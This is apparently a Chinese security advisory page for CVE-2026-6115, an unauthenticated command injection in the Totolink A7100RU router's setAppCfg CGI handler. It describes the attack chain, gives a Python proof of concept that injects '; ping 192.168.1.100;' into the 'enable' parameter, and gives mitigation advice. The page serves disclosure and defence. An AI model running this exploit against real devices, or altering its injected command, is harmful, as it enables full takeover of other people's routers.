IPBUF安全漏洞报告
English
CVE-2026-6115 CVSS 9.8 严重

CVE-2026-6115 Totolink A7100RU操作系统命令注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6115
漏洞类型
操作系统命令注入 (OS Command Injection)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

OS Command InjectionRCETOTOLINKIoTCritical

漏洞概述

Totolink A7100RU路由器在7.4cu.2313_b20191024版本的/cgi-bin/cstecgi.cgi接口中存在严重的操作系统命令注入漏洞。攻击者无需身份验证,仅需向目标发送特制的HTTP请求,操纵`setAppCfg`函数中的`enable`参数,即可在系统后台执行任意恶意命令。该漏洞利用难度低且危害极大,攻击者可借此完全控制设备,造成敏感信息泄露及服务中断。

技术细节

该漏洞的根本原因是Totolink A7100RU设备在处理CGI请求时,未能对用户提交的输入数据进行严格的边界检查和过滤。具体分析发现,在/cgi-bin/cstecgi.cgi文件的`setAppCfg`函数处理逻辑中,程序直接将接收到的`enable`参数拼接到底层系统命令中执行,未进行任何安全转义。攻击者可以通过发送恶意的POST请求,在该参数中注入Shell元字符(如分号`;`、管道符`|`或`&`)。由于该接口存在无需认证的访问缺陷,远程未授权攻击者可利用此漏洞以Root权限在服务器上执行任意操作系统命令,从而获取设备的完全控制权。

攻击链分析

STEP 1
1. 信息收集
攻击者使用网络空间测绘引擎或扫描工具,寻找暴露在互联网上的Totolink A7100RU设备。
STEP 2
2. 漏洞利用
攻击者向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST请求,在'enable'参数中注入恶意Shell命令。
STEP 3
3. 命令执行
由于后端未过滤特殊字符,路由器将攻击者提供的参数拼接到系统命令中执行,从而触发远程代码执行。
STEP 4
4. 建立控制
攻击者利用执行的命令下载恶意程序、反弹Shell或修改配置,从而完全控制受害设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Vulnerable Payload: Injecting a command to ping a controlled server (change the IP) # The payload manipulates the 'enable' argument in the 'setAppCfg' function. # Using semicolon to chain commands. payload_data = { "topicurl": "setAppCfg", "enable": "; ping 192.168.1.100;" } try: # Sending the malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
如果无法立即升级固件,建议通过访问控制列表(ACL)仅允许受信任的内网IP地址访问路由器的Web管理界面,或者暂时关闭设备的远程管理功能,直至漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表